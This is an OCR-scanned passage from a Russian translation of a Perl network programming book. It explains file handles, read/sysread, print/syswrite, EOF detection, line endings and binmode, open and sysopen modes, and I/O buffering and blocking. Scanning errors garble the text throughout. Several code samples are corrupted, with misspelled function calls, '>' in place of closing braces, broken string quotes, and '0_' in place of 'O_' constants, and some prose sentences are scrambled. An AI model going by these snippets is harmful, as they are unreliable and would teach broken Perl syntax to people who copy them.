В следующем фрагменте кеда предпринимается попытка чтения 50 байт данных из дескриптора
файла STDIN, размещения этой информации в переменной $buffer и присвоения значения числа ,
. считанных байтов.переменной ebytesi, :.'.]
I -my. Sbuffer; . Л
|" -. Sbytes - "r&ad(STDraj$bufferV50jy 4
■ ' По умолчанию считанные данные будут размещены в начале области памяти, Обозначенной пе- '\
ременно^ sbuf f ег, и^^^пёреЪаписано все, что там у^нвхйшо^ЗЦйётюведение этой функ- ,
ции можно изменить, указав необязательный числовой параметр $off set, который сообщает, что {
считанные дайные должны быть записаны в область памяти, обозначенную переменной $bufferi-|
начиная с указанной позиции. . j4 „,■ nrvP^ ••• ?i
.Основное отличие между функциями г ead() и sysreadj) состоит в том, что в функции read(.)':>ij
применяется стандартная'буферизация ввода-вывода, а в функции sysrtodl) — нет. Это значит, 1
что функция.хеасЗ[{)' не,выполнит8возврат до тех пор, пока не сможет выбрать точноо>число затре-,
бованных байтов или не достигнет конца файла: В отличие от этого, функция sysrv.adL) может ^
вернуть результаты частично выполненной операции чтения. Она гарантирует везерат^то меньшей'
мере, одного байта, но если она не может немедленно выполнить чтение из дескрипторе файла за- J
требованного числа байтов, эта функция возвращает столько, сколько межет Такой способ ергани-1
зации работы описан более подробно в разделе "Буферизация и блокировка".*^ ~ Ц
$result = print FTXERANDLE $datal, $<1ata2 ,$data3... *y
$ result *= print $datal,$data2,$data3 . .„._.„ ^, x^ ~\.|
Функция print () выводит список элементов данных в дескриптор файла. В первой форме деск- J
риптор файла указан явно. Обратите внимание, что между именем .Дескриптора файла и первым =
элементом данных нет запятой. Во второй форме в функции print () применяется текущий деск- J
риптор файла, предусмотренный по умолчанию, которым .обычно является Stdout. Дескриптор J
файла, предусмотренный по умолчанию,. можно изменить с использованием функции select () ,|
в форме с одним параметром (как описано ниже). Если параметры.с обозначением данных не указа-1
ны, функция print () выводит содержимое переменной $_. : Ц
Если вывод был выполнен успешно, функция print О возвращаетистинное значение. В ином
случае она возвращает ложное значение и оставляет сообщение об ошибке в переменной $!. .• --г: ■ т
Глава 1. Основы ввода-вывода
35
Pert — это язык, в котором круглые скэСки во многих случаях могут быть сгущены Хстя ввтор лред-
г почитает поегда указывать параметры функций в круглых скобках, в большинстле оценариеп Perl они не
применяются с функцией print (), и в этой книге таюсь соблюдается указанное соглашение.
$reftult = print* $fon;iet,$<lBt?tl/$dab»2,SdAta3...
Функция i rlntf () преднязнячена для вьвода с форматированием Указанные элементы данных
форматируются и выводятся на устройство выецда в соответствии со строкой формата $ format. Язык
форматирования является очень развитым .и подробно описан в документации PQD среды Pert для?сс-
'отвстстБующей функции sprintf () (которая предназначена для форматирования строки). '< "
Sbybps r- eysWrite<FILEHANDLE,$data [,$length [,$offs«it]i) 1
Использование функции syswrite О представляет собой альтернативный способ вывода в де- ■
скриптор файла, который позволяет получить больший контроль над процессом вывода. Ее пара- *
метрами являются дескриптор файла и скалярное значение (переменная или строковый литерал). I
Функция выводит данные в дескриптор файла и возвращает число успешно выведенных байтов. _.i
*,-■?*- ' ■'.-^.'-. -..'- '-.. , -~ '-"•'*■ '.,%. Л
По ут*..лчэнию функция syswrxte() предпринимает попытку вынести* осе содержимое переменной ]
Sdatfl, начиная с первого символа строки, на которую указывает эта переменная: Можно изменить такое ]
поведение, указав необязательные параметры Slength и $off set; в этом случае функция syswrite 0,1
предпримет попытку вывести $length байтов, начиная с позиции, указанной параметром $of fset. "|
Не считая того, что одна из этих функций является более привычной в использовании, осноаное |
различие между функциями printo И syswrite () состоит в том, что в первой применяется стан-!
дартнвя буферизация восда-Ч.'ывода, а в последней— нет. ЭтоВудет описано далее' ;в разделе
"буферизация и блокировка*.
Не путайте функцию syswrits О с функцией языка Pert, получившей'неудачное название
write о, no<v^Hflfl=ienfleTC»,частью пакета форматирования отчетов Perl, который не *5удет рао
смсГгриБаться в этой книге.
Spxevioup - eei«ct. (FILKBANDIJC)
Функция select () измелет, предусмотренный по умолчанию для вывода дескриптор файла,
который истользу^тся функцией print (). Эха. функция принимает имя дескриптора файлгу, который
должен быть установлен«ак предусмотренный по умолчанию, и возвращает имя; которое было
предусмотрено по умолчанию ранее. Есть еще одна версия функции se recto, которая принимает
четыре Лараметра и используется дЙЙ мультиплексирсвэния ввода-вывода. Версия с четырьмя
параметрами будет описана в главе 6. '
При чтении данных в виде потока байтов с помощью функции read () или
sysread() обычно принято передавать значение length ($buf fer) в качестве
смещения в этом буфере. В результате во время выполнения функция read () добавляет
новые данные к концу данных, которые уже находились в буфере.
my $buffer;
. while (l) {
$bytes = read (STDIN,$buffer,50,length($buffer));
last unless $bytes > 0;
>
Обнаружение конца файла :
Условие конца файла EOF возникает, если нет больше данных, доступных для чтения"
из файла или устройства. При чтении из файла такое происходит, когда в буквальном
смысле достигается конец этого файла, но условие EOF возникает также при чтении из*
других устройств. Например, при чтении из терминала (окна интерпретатора
командной строки) условие EOF возникает, когда пользователь нажимает специальную комби-'
нацию клавиш: <Ctrl+D> в системе UNIX, <Ctrl+Z> в системах Windows/DOS или
<comiriand-> в системе Macintosh. При чтении из сокета, подключенного к сети, условие4
EOF возникает, когда удаленный компьютер закрывает свой конец соединения. ,п
36
Часть I. ОсновьЬ
Система ввода-вывода сигнализирует о возникновении условия EOF по-разному,
в зависимости от того, происходит ли чтение из дескриптора файла построчно или
в виде потока байтов. При выполнении операций чтения потока байтой с помощью
функций read () или sysread () указанием на возникновение условия EOF служит
возврат из функции числового значения 0. При опшбках ввода-вывода функция
возвращает значение undef и устанавливает в переменной $! соответствующее
сообщение об ошибке. Чтобы отличить прекращение ввода-вывода в связи с ошибкой от его
прекращения в связи с обычным достижением конца файла, можно выполнить
проверку возвращаемого значения с помощью функции defined ().
while (l) {
my $bytes = read(STDIN,$buffer, 100);
die "read error" unless defined ($bytes) ; ' ..
last unless $bytes > 0;
>
В отличие от этого, оператор о не проводит различия между условием конца
файла EOF и аварийными условиями и возвращает в обоих случаях значение undef,
Чтобы различить эти две .ситуации, можно установить значение переменной $!
равным unde f перед выполнением ряда операций чтения, а затем выполнить проверку
того, стало ли истинным значение, возвращенное функцией defined.
undef $!;
while (defined(my $line = <STDIN>)) {
$data .= $line;
>
die "Abnormal read error: $!" if defined ($!);
При использовании оператора о в операторе проверки условия цикла while (), как
показано в последнем фрагменте кода, можно исключить явную проверку с помощью
функции de f i ned (). В результате этот цикл становится более удобным для восприятия.
while (my $line = <STDIN>) {
$data .= $line;
>
Эта конструкция работает правильно, даже если строка состоит из отдельного
символа 0 или является пустой (такие значения обычно рассматриваются
интерпретатором Perl как ложные). При использовании оператора о за пределами оператора
проверки условия циклов while () обязательно используйте функцию defined () для
проверки того, соответствует ли возвращаемое значение условию EOF.
И наконец, для явной проверки дескриптора файла на условие EOF может
применяться функция eof ().
$eof = eof(FILEHANDLE)
Функция eof () возвращает истинное значение, если при следующем чтении из
дескриптора файла FILEHANDLE возникнет условие EOF. При вызове без параметров
или круглых скобок, т.е. в форме eof, эта функция проверяет последний дескриптор
файла, из которого было выполнено чтение.
При использовании конструкции while (<>) для чтения файлов, указанных
параметрами командной строки, в виде одного псевдофайла, функция eof () имеет
"магические" (не обусловленные синтаксической структурой) или, по крайней мере,
неожиданные свойства. При вызове с пустыми круглыми скобками, в форме eof (),
эта функция возвращает истинное значение в конце самого последнего файла. При
вызове без круглых скобок или параметров, в форме eof, функция возвращает
истинное значение в конце каждого отдельного файла, указанного в командной строке.
Глава 1. Основы ввода-вывода
37
Примеры того, при каких обстоятельствах такое поведение функции может оказаться
полезным, приведены в документации POD Perl.
На практике, функция eof () не должна применяться, кроме каких-либо особых
обстоятельств, и необходимость ее применения часто свидетельствует о том, что
в структуре программы есть какие-то недостатки.
Отсутствие единого подхода к оформлению
конца строки
При выполнении построчного ввода-вывода необходимо учитывать различия
в интерпретации символов, обозначающих конец строки. Ни в одной операционной
системе не достигнуто единообразие с другими операционными системами в
отношении того, как должны оканчиваться строки в текстовых файлах. В системах UNIX
строки оканчиваются символом перевода строки (LF, восьмеричное значение \012
в таблице ASCII), в системах Macintosh — символом, возврата, каретки (CR,
восьмеричное значение \015), а проектировщики DOS/Windows решили, что каждая строка
текста должна оканчиваться парой символов возврата каретки^ перевода стрсжп
(CRLF, или восьмеричное значение \015\012). В большинстве сетевых серверов
с построчным вводом-выводом для обозначения конца строки также применяется
комбинация символов CRLF.
Это приводит к бесконечной путанице при перемещении текстовых файлов из
одной операционной системы в другую. К счастью, в языке Perl предусмотрен способ
проверки и корректировки символов обозначения конца строки. Глобальная
переменная $/ содержит текущий символ или последовательность символов,
используемых для обозначения конца строки. По умолчанию эта переменная устанавливается
f.-Mswau.VQ'LZ в системах. UNIX4 \015 — в системах Macintosh и \015\012 —в системах
Windows и DOS.
Оператор построчного ввода о выполняет чтение символов из указанного
дескриптора файла до тех пор, пока не встретит символ (символы) конца строки,
содержащийся в переменной $/, а затем возвращает строку текста, в которой все еще
находится последовательность символов, обозначающая конец строки. Функция chomp ()
выполняет поиск последовательности символов обозначения конца текстовой строки
и удаляет ее с учетом текущего значения переменной $ /.
Строковый управляющий код \п — это логический символ новой строки; на
различных платформах он трактуется по-разному. Например, код \п равен \012 в системах
UNIX и \ 015 — в системах Macintosh. (В системах Windows \ n обычно равен \ 012, но,
как описано ниже, в текстовом режиме DOS он имеет другое значение.) Аналогичным
образом \г представляет собой логический символ возврата каретки, который также
изменяется от одной системы к другой.
При разработке программы, предназначенной для взаимодействия с сетевым
сервером, выполняющим построчный ввод-вывод, в котором для обозначения конца
строки применяется комбинация символов CRLF, нельзя обеспечить переносимость
программы на другие платформы, установив значение переменной $/ равным \г\п.
Вместо этого, следует явно указывать строку \015\012. Чтобы внести большую
ясность в этот вопрос, в модулях Socket и IO: : Socket, которые будут подробно
описаны ниже, предусмотрена возможность экспортировать глобальные переменные
$CRLF и CRLF (), которые возвращают правильные значения. 1
38
Часть I. Основы
При выполнении построчного ввода-вывода в системах Microsoft Windows и DOS
возникает еще одна сложность. По сложившейся традиции, в системах DOS/Windows
проводится различие между дескрипторами файлов, открытыми в "текстовом"
и "двоичном" режиме. В двоичном режиме файл при выполнении ввода-вывода не
подвергается никаким преобразованиям. При выводе данных в двоичный дескриптор
файла запись этих данных выполняется в таком виде, в каком они были заданы.
Аналогичным образом при выполнении операции чтения данные возвращаются точно
в таком виде, в каком они хранились в файле.
Однако в текстовом режиме стандартная библиотека ввода-вывода автоматически
преобразует символы LF в пары CRLF на выходе, а пары символов CRLF — в символы
LF на входе. Преимуществом этого является то, что текстовые операции в версиях
интерпретатора Perl для Windows и UNIX с точки зрения программиста выглядят
одинаково: строки текстовых файлов DOS оканчиваются одним символом \п, так же
как и в UNDC Проблема возникает при чтении или записи двоичных файлов, таких
как изображения или индексированные базы данных, и в файлах возникают
непонятные искажения при вводе или выводе. Это связано с применяемым по умолчанию
преобразованием символов конца строки. Если такое происходит в программе,
необходимо отключить преобразование символов, вызвав функцию binmode ()
с указанием в качестве параметра дескриптора файла.
U- binmode"'<FILEHANDLE [ ,'$'disc£pline]) '■ ='~ "^4£ T* ^ ^ Л "" ' -,Ц
^Функций binijiode О включает двоичный режим для дескриптора файла .^отменяет прёоб^
разование символов. Она должна быть вызвана после открытия дескриптора файла, но перед
выполнением с ним люСых операций ввода-вывода. Форма вызова с одним параметром вклю-
| чает двоичный режим. Форма вызова с двумя параметрами, которая предусмотрена только \
в версии Perl 5.6 или е Солее высокой версии, позволяет включить двоичный режим, указав
значение $<ii'sciplin<. равяым :rnw. или восстановить Применяемый по
умолчанию'текстовый режим, указав значение :crlf.
Оункция biftifiodtO выпглняет чакие-либо действия только в таких системах, как Windows
и VMS, где обозначение ;,концз строки состоит белее чем из одного символа В системах UNIX
и Macintosh она не выполняет никаких д ствий.
Еще один способ исключения путаницы между текстовым и двоичным режимами
состоит в использовании функций sysread() и syswrite (), которые обходят
процедуры преобразования символов конца строки, предусмотренные в стандартной
библиотеке ввода-вывода.
В языке Perl предусмотрен также набор специальных глобальных переменных,
которые позволяют уточнить другие характеристики построчного ввода-вывода,
например указать, следует ли добавлять автоматически символ конца строки к данным,
выводимым с помощью функции print (), и нужно ли отделять друг от друга
несколько значений данных разделителем. Краткая сводка этих глобальных
переменных приведена в Приложении В, "Справочные таблицы Internet".
Открытие и закрытие файлов
В дополнение к трем стандартным дескрипторам файлов, Perl позволяет открыть
любое число дополнительных дескрипторов файлов. Чтобы открыть файл для чтения
или записи, можно применить встроенную функцию open () языка Perl. В случае
успешного выполнения функция open () возвращает дескриптор файла, предназначен-
Глава J. Основы ввода-вывода
39
ный для использования непосредственно в операциях чтения и/или записи. После
окончания работы с дескриптором файла нужно вызвать функцию close (), чтобы
его закрыть. В следующем фрагменте кода показано, как открыть файл message. txt
для записи, записать в нем две строки текста, а затем закрыть.
open (FH, ">message,txt") or die "Can't open file: $!";
print FH "This is the first line.W;
print FH "And this is the second.\n";
close (FH) or die "Can't close file: $!";
В вызове функции open () обычно указывают два параметра: имя дескриптора
файла и имя файла, который должен быть открыт. В качестве имени дескриптора
файла может быть указан любой допустимый идентификатор Perl, состоящий из
любого сочетания прописных и строчных букв, цифр и символов подчеркивания. Чтобы
было проще отличать эти имена от других переменных, большинство программистов
Perl применяют в именах дескрипторов файлов только прописные буквы. Символ ">"
перед именем файла сообщает интерпретатору Perl, чтобы он перезаписал
содержимое файла, если файл уже существует, или создал новый файл, если он не существует.
Файл будет затем открыт для записи. »
В случае успешного выполнения функция open () возвращает истинное значение.
В ином случае она возвращает ложное значение, что заставляет интерпретатор Perl
обработать выражение, находящееся справа от оператора or. Это выражение просто
вызывает завершение работы с сообщением об ошибке, в котором применяется
глобальная переменная $ \ интерпретатора Perl для выборки последнего полученного
системного сообщения об ошибке.
Затем дважды выполняется вызов функции print () для записи текста в
дескриптор файла. Первым параметром функции print () является дескриптор файла,
а вторым и последующим параметрами— строки, которые должны быть записаны
в дескриптор файла. Еще раз подчеркнем, что между именем дескриптора файла
и строками, предназначенными для печати, нет запятой. Все, что будет выведено
в дескриптор файла, появится в соответствующем ему файле. Если параметр функции
print () с указанием дескриптора файла будет опущен, этот параметр принимает
значение по умолчанию, равное STDOUT.
После окончания вывода вызывается функция close () для закрытия
дескриптора файла. Функция close () возвращает истинное значение, если дескриптор
файла был закрыт без каких-либо нарушений, или ложное, если произошло какое-
либо неблагоприятное событие, например переполнение диска. Проверка кода
результата выполняется с использованием такой же конструкции с оператором or,
как и при открытии файла.
Рассмотрим функции open () и close () более подробно.
$success = open(FILEHANDLE,$path) t».<
$ success = open (E*iLEHANDLE,Smode/$path) £££ ,'^j '■*■£. * »■
■ При вызове функция open () открывает файл, указанный параметром $path, и связывает его
, с указанным дескриптором-filehandle. Данная функция Имеет две версии: с двумя и тремя пара-^
метрами. В версии стреми параметра»», которая предусмотрена ё версии Perl 5.6 и последующих
версиях, параметр Sm^de указывает, как должен быть открыт файл.. Параметр Smode представляет
собой односимвольную или л^ухсим'эольную.строку с обозначением режима свсдгьсьоодз,
выбранную? по аналогии с соответствующими операторами перенаправления «'воДа-вывсда в командных
оболочках UNIX и DOS. Ниже перечислену различные варианты этого параметра.
40
Часть I. Основы
Режим Описание
< OnqpuTv фзйп для чтения
> Усечь файл др нулевоА длины и открыть для записи
» Открыть файл для добавления, не усекать
+> Усечь файл, зятем открыть для чтения-записи
<+ Открыть файл для чтения-записи, не усекать
Ниже показано, как открыть файл darkstar. txt для чтения и связать его с
дескриптором файла DARKFH.
open(DARKFH,'<', "darkstar.txt*); '
В версии функции open {) с двумя параметрами символы с обозначением режима
I присоединяются непосредственно к имени файла, как показано ниже.
I open(DARKFH,'<darkstar.txt');
Для удобства чтения можно поместить любое число пробельных символов между
символами режима и именем файла; они будут игнорироваться. Если символ режима
не указан, файл открывается для чтения. Поэтому оба приведенных выше примера
эквивалентны следующему.
open(DARKFH,"darkstar.txt*) ;
При успешном выполнении функция open () возвращает истинное значение,
в ином случае — ложное; при этом глобальная переменная $! содержит предназна;
ченное для восприятия человеком сообщение с указанием причины ошибки,
[ i$sUccess = cibse^FH) ; " ;" ^-S^--- ""***' " j*«'i" J '&'"".''^gf ^
£1 Функция, close () закрывает ранее открытый файл и возвращает истинное'значение при успеш-1
ном выполнении илилпожное;—в ином случае. Если'возникаетоиЗибка, сообщение об бшибке можно^
снова найти в переменной $!. При выходе из программы всё дескрипторы файлоа, которые все ещё. j
г открыты, закрываются автоматически. .,-5^^- J ■afjcr- * ^=_ ??>■.-«., i^W1 "-"{
Версия функции open () с тремя параметрами используется достаточно редко.
Однако ее преимуществом является то, что она не предусматривает поиск в имени
файла специальных символов, как в версии с двумя параметрами. Это позволяет
открывать файлы, имена которых содержат ведущие или заключительные пробелы,
символы ">" и другие необычные и произвольные данные. Имя файла "-" является
специальным. Открытие его для чтения служит указанием для интерпретатора Perl,
что должно быть открыто стандартное устройство ввода. При открытии файла с этим
именем для записи Perl получает указание открыть стандартное устройство вывода.
При вызове функции open () с дескриптором файла, который уже открыт, этот
дескриптор будет автоматически закрыт, а затем снова открыт и связан с именем
указанного файла. Кроме всего прочего, такой вызов может применяться для
переоткрытия любого из трех стандартных дескрипторов файлов и увязки его с указанным
файлом, что позволяет изменить применяемое по умолчанию обозначение источника
или назначения оператйра О и функций print () Htwarn (). Пример такого прим*5-
нения функции open () будет приведен Далее. 1Я * ы,!11-"
Как и при использовании функции print (), многие программисты опускают
круглые скобки при вызове функций open (} и close (}. Например, наиболее
распространенным способом открытия файла является следующий.
open DARKSTAR,"darkstar.txt" or die "Couldn't open darkstar.txt:$!"
Глава 1. Основы ввода-вывода
41
Автору не нравится такой стиль, поскольку он визуально представляется
неоднозначным (непонятно, относится ли оператор or к строке "darkstar. txt" или
функции open ()). Однако автор использует этот стиль при вызове функций close (),
print () и return (), так как он уже стал традиционным.
С версией функции open () с двумя параметрами связано много "магических"
свойств (некоторые считают, что даже слишком много). Полный перечень таких
свойств перечислен в документации POD perlfunc и perlopentut. Однако одно из
них необходимо отметить, поскольку это будет применяться в следующих главах.
Можно дублировать дескриптор файла, указав его в качестве второго параметра
функции open () и введя вначале последовательность символов >& или <&. Символы
>& позволяют дублировать дескрипторы файлов, используемые для записи, а символы
< & — дескрипторы файлов, используемые для чтения.
open(OUTCOPY,">&STDOUT");
open(INCOPY, "<&STDOUT");
В этом примере создается новый дескриптор файла OUTCOPY, который связан
с тем же устройством, что и STDOUT. Теперь можно выполнить запись в дескриптор
файла OUTCOPY и получить такой же эффект, как при записи в STDOUT. Это удобно,
если нужно на время заменить один или несколько из трех стандартных
дескрипторов файлов и восстановить их в дальнейшем. Например, в следующем фрагменте кода
показано, как на время переоткрыть STDOUT для записи в файл, вызвать системную
команду date (с Использованием функции system(), которая будет описана более
подробно в главе 2), а затем восстановить предыдущее значение STDOUT. При
выполнении команды date ее стандартный вывод будет открыт в файл и появится в нем,
а не в окне командного интерпретатора.
#!/usr/bin/perl
# Файл: redirect.pl
print "Redirecting STDOUT\n";
open (SAVEOUT, ">&STDOUT");
open (STDOUT,">test.txt") or die "Can't open test.txt: $!";
print "STDOUT is redirected\n";
system "date";
open (STDOUT,">&SAVEOUT");
print "STDOUT restoredXn";
После выполнения этого сценария будет получен следующий вывод.
% xedirect.pl
Redirecting STDOUT
STDOUT restored
Файл test. txt в этом случае будет содержать следующие строки.
STDOUT is redirected '
Thu Aug 10 09:19:24 EOT 2000
Обратите внимание, что вывод второго оператора print () и результат
выполнения системной команды date были направлены в файл, а не на экран, поскольку
к этому моменту был переоткрыт дескриптор файла STDOUT. После восстановления
дескриптора файла STDOUT из копии, хранящейся в SAVEOUT, была восстановлена
и способность выводить информацию на терминал.
42
Часть I. Основы
В языке Perl предусмотрен также альтернативный API-интерфейс, в котором
полностью исключен "магический" и запутанный синтаксис функции open (). Функция
sysopen () позволяет открывать файлы с использованием такого же синтаксиса, как
и в библиотечной функции open () языка С.
Г result - sysopen (FTT.EHANDIiE, $ filename, $mode t,$perms])« \
Функция sysopen () открывает файл, указанный параметром $ filename, с использованием режима"
ввода-вывода, обозначенного параметром Smode. Если файл не существует и лараметр Smode указывает;»
что файл должен быть создан, то необязательное значение Sperms определяет биты прав доступа для
вновь созданного файла Режимы ввода-вывода и права доступа подробно рассматриваются далее. м
В случае успешного выполнения функция sysopen (): возвращает истинное значение и связывай _
ет открытый файл с дескриптором файла filehandle. В ином случае она возвращает ложное зна- -'
чение и оставляет сообщение об ошибке в переменной $!. ч к.& i
Параметр $mode, применяемый в функции sysopen (), отличен от обозначения
режима, используемого в обычной функции open (). Он представляет собой не набор
символов, а числовую битовую маску, образованную одной или несколькими
константами, объединенными поразрядным оператором "ИЛИ" (" |"). Например, в следующем
фрагменте кода показано, как открыть файл для записи с использованием режима,
который предусматривает создание файла, если он не существует, и усечение его до
нулевой длины, если он существует (эквивалентно режиму ">" функции open () ).
sysopen(FH,"darkstar.txt"rO_WRONLY | 0_CREAT | OJTRUNC)
or die "Can't open: $!"
Стандартный модуль Fcntl предусматривает экспорт констант, распознаваемых
функцией sysopen (), которые начинаются с префикса 0__. Для получения доступа
к этим константам достаточно указать use Fcntl в начале сценария.
Константы с обозначением режима, применяемые в функции sysopen (),
перечислены в табл. 1.1. В каждом вызове sysopen () должно использоваться одно
'и только одно) из значений 0_RDONLY, 0_WRONLY и 0_RDWR. Константы 0_WRONLY
и 0_RDWR могут быть объединены поразрядным оператором "ИЛИ" с одной или
несколькими константами 0_CREAT, 0_EXCL, 0_TRUNC или q_APPEND.
0_CREAT вызывает создание файла, если он не существует. Если эта константа не
«сазана и файл, который должен быть открыт для записи, не существует, то попытка
выполнить функцию sysopen () окончится неудачей.
Объединив константы 0_CREAT и 0_EXCL, можно получить удобную возможность
создать файл, если он не существует, а в противном случае, если он существует,
отказаться от этой попытки. Это может применяться для предотвращения случайного
\тшчтожения существующего файла.
Если указано значение 0_TRUNC, то файл усекается до нулевой длины перед
выполнением первой операции записи, что, по сути, равносильно перезаписи
предыдущего содержимого. Константа 0_APPEND оказывает обратное действие, поскольку
предусматривает размещение указателя записи в конце файла, чтобы все, что будет
записано в файл, было добавлено к его текущему содержимому.
Режимы 0_NOCTTY, 0_NONBLOCK и 0_SYNC имеют специальное назначение и
рассматриваются в следующих главах книги.
Если в функции sysopen () должен быть создан файл, то параметр $perm позво-
тяет указать права доступа к полученному файлу. Права доступа к файлам — это
понятие UNIX, которое не имеет полной аналогии в мире DOS/Windows и полностью
отсутствует в мире Macintosh. Это— восьмеричное значение наподобие 0644 (что
в данном случае указывает права на чтение/запись для владельца файла и права
только на чтение для всех остальных).
Глава 1. Основы ввода-вывода
43
Таблица 1.1. Константы режима sysopenQ
Константа Описание
q_RDONLY Открыть только для чтения
0_WRONLY Открыть только для записи
0_RDWR Открыть для чтения-записи
P_CREAT Создать файл, если он не существует
0_EXCL В сочетании с 0_CREAT создать файл, если он не существует, и выполнить
аварийное завершение, если он существует
0_TRUNC Если файл уже существует, усечь его до нулевой длины
0_APPEND Открыть файл в режиме дополнения (эквивалентно режиму "»"
функции open ())
0_NOCTTY Если файл соответствует терминальному устройству, открыть его без прав
управляющего терминала процесса
0_NONBLOCK Открыть файл в неблокирующем режиме
0_SYNC Открыть файл для использования в синхронном режиме, чтобы вся запись
блокировалась до тех пор, пока данные не будут физически записаны
Если параметр $репп не указан, в функции sysopen () по умолчанию принимается
значение 0666, которое предоставляет право на чтение/запись всем пользователям.
Однако какие бы права ни были указаны или приняты по умолчанию, фактические
права доступа к создаваемому файлу определяются путем применения поразрядной
операции "И" к параметру $регга и текущему значению маски прав пользователя
umask (еще одно понятие UNIX). Значение umask по выбору пользователя часто
устанавливается таким, чтобы доступ к файлу был запрещен для всех, кто не может
работать в учетной записи пользователя и не принадлежит к его группе.
В большинстве случаев лучше всего опускать параметр с обозначением прав
доступа и позволять пользователю устанавливать значение umask. Это позволяет повысить
переносимость программы на другие платформы. Информация о том, как определять
и устанавливать значение umask программным путем, приведена в разделе umask ()
в документации perlf unc POD.
Буферизация и блокировка
При выводе данных с помощью функций print () или syswrite () в дескриптор
файла фактически операция вывода не происходит немедленно. При записи в файл на диске
система должна подождать, пока головка записи не достигнет нужной дорожки на
дисководе и к головке не подойдет нужный сектор, расположенный на вращающейся пластине
диска. Эта операция обычно занимает очень мало времени (хотя ее продолжительность
может отчетливо ощущаться на лэптопе, поскольку его диск на время простоя компьютера
останавливается для экономии заряда аккумулятора), но другие операции вывода могут
потребовать гораздо ^больше времени. В частности, весьма значительное время может
занять выполнение сетевых операций. Это же относится и к операциям ввода.
Между скоростью вычислений и скоростью ввода-вывода существует
принципиальное несоответствие. Программа может пройти по короткому циклу миллион раз
в секунду, а на завершение одной операции ввода-вывода иногда требуется несколько
44
Часть I. Основы
секунд. Во избежание этого несоответствия в современных операционных системах
применяются методы буферизации и блокировки.
Принцип буферизации проиллюстрирован на рис. 1.1. Буфер позволяет отделить
операции ввода-вывода, выполняемые путем вызова функций в программе, от
фактических операций ввода-вывода, выполняемых на аппаратном уровне. Например, при
вызове функции print () данные не отправляются прямо на терминал, в сетевой
адаптер или на дисковод, а вместо этого результат выполнения этого оператора
записывается в виде данных в область памяти. Это происходит быстро, поскольку запись
в память не требует много времени. Между тем, в асинхронном режиме операционная
система считывает данные, ранее записанные в буфер, и выполняет действия,
необходимые для записи этой информации на аппаратное устройство.
Аналогичным образом при выполнении операций ввода операционная система
получает данные от активных устройств ввода (клавиатуры, дисковода, сетевого
адаптера) и записывает их во входной буфер, находящийся в памяти. Данные остаются во
входном буфере до тех пор, пока в программе не будет вызван оператор о или
функция read (), после чего они будут скопированы из буфера операционной системы
в пространство памяти, соответствующее переменной в программе.
Преимущества буферизации являются очень значительными, особенно если
программа выполняет ввод-вывод неравномерно, т.е. выполняет многочисленные
операции чтения и записи данных непредсказуемого объема через произвольные моменты
времени. Вместо ожидания выполнения каждой операции на аппаратном уровне,
данные надежно буферизуются в операционной системе и "сбрасываются" на
устройство вывода, когда аппаратные средства могут их принять.
Буферы, показанные на рис. 1.1, по принципу действия представляют собой
циклические очереди FIFO (сокращение от first in first out). После заполнения буфера
операционная система просто продолжает записывать новые данные с его начала.
Операционная система ведет два указателя на каждый из своих буферов ввода-вьшода. Указатель
записи — это место, с которого выполняется ввод новых данных в буфер. Указатель
чтения обозначает позицию, с которой выполняется перемещение данных из буфера в
новое место назначения. Например, при операциях записи каждый выполненный вызов
функции pr int () добавляет данные к выходному буферу и продвигает вперед указатель
записи. Операционная система считывает уже записанные данные, начиная с указателя
чтения, и копирует их в аппаратное устройство низкого уровня.
Объем свободного пространства, оставшегося в буфере ввода-вывода, равен
размеру буфера за вычетом расстояния между указателем записи и указателем чтения.
Если программа пишет данные быстрее, чем может принять устройство вывода,
буфер в конечном итоге переполнится и свободное пространство в нем станет равным
нулю. Что происходит в этом случае?
Поскольку больше нет места для размещения новых данных в буфере, операция
вывода не может быть успешно выполнена немедленно. В результате, операция вывода
блокируется. Выполнение программы приостановится на заблокированной функции
print () или syswrite () на неопределенный период времени. После того как буфер
вывода будет расчищен и снова появится место для новых данных, операция вывода
будет разблокирована и функция print () или syswrite () выполнит возврат.
Аналогичным образом блокируется операция чтения, когда буфер ввода пуст; это
значит, что она блокируется, если объем свободного пространства в буфере равен
размеру буфера. В этом случае вызовы функций read () или sysread () блокируются до
тех пор, пока в буфер не будут введены новые данные, предназначенные для чтения.
• Глава 1. Основы ввода-вывода
45
1. Вначале буфер ввода-вывода пуст
Указатель
записи
000 X
000
Указатель
чтения
2. Программа быстро выводит "Hello!" и продвигаетуказатель записи
Указатель
записи
000 Н
000
Указатель
чтения
3. Операционная система медленно считывает данные, на которые указывает
указатель чтения, и продвигает его
Указатель
записи
000 X X X I о ! X X X X X X 000
Указатель
чтения
Рис. 1.1. Буфер позволяет устранить несоответствие между
скоростью вычисления и скоростью ввода-вывода
Блокировка часто является именно тем, что требуется для организации
работы программы, но иногда необходимо иметь больший контроль над вводом-
выводом. Для управления блокировкой могут применяться несколько методов.
В одном методе, описанном в разделе "Завершение системного вызова по тайм-
ауту" главы 2, для преждевременного завершения операции ввода-вывода, если
она занимает слишком много времени, используются сигналы. Еще в одном
методе, описанном в главе 12, применяется вызов системной функции select () с
четырьмя параметрами для проверки готовности дескриптора файла к выполнению
ввода-вывода перед фактическим выполнением операции чтения или записи.
Метод, рассматриваемый в главе 13, состоит в том, что дескриптор файла
отмечается как неблокирующий, что вызывает немедленный возврат функций чтения или
записи с кодом ошибки в том случае, если при попытке ее выполнения
соответствующая операция была бы заблокирована.
46
Часть I. Основы
Стандартная буферизация ввода-вывода
До сих пор рассматривался единственный буфер для всех операций ввода-вывода,
выполняемых с дескриптором файла, однако фактически может быть предусмотрено
несколько буферов на разных уровнях операционной системы. Например, при записи
файла на диск может использоваться буфер очень низкого уровня на самом жестком
диске, еще один буфер — в драйвере SCSI или IDE, который управляет диском, третий —
в драйвере для файловой системы и четвертый — в стандартной библиотеке С,
используемой интерпретатором Perl. Автор вполне мог упустить еще несколько буферов.
Большинством из этих буферов невозможно управлять или даже невозможно
обращаться к ним непосредственно, но есть один класс буферов, о которых должен
знать программист. Многие операции ввода-вывода Perl выполняются с помощью
"stdio" — стандартной библиотеки языка С, которая предусматривает применение
собственных буферов ввода-вывода, независимых от операционной системы .
В операторе о и функциях read () и print () языка Perl применяется
библиотека stdio. При вызове функции print () данные передаются в буфер вывода на
уровне stdio перед отправкой в саму операционную систему. Аналогичным образом
оператор о и функция read () читают данные из буфера stdio, а не прямо из буфера
операционной системы. Каждый дескриптор файла имеет собственный набор
буферов для ввода и вывода. В целях повышения эффективности ввода-вывода библиотека
stdio предусматривает ожидание достижения буферами вывода определенного
размера, после чего сбрасывает их содержимое в буферы операционной системы.
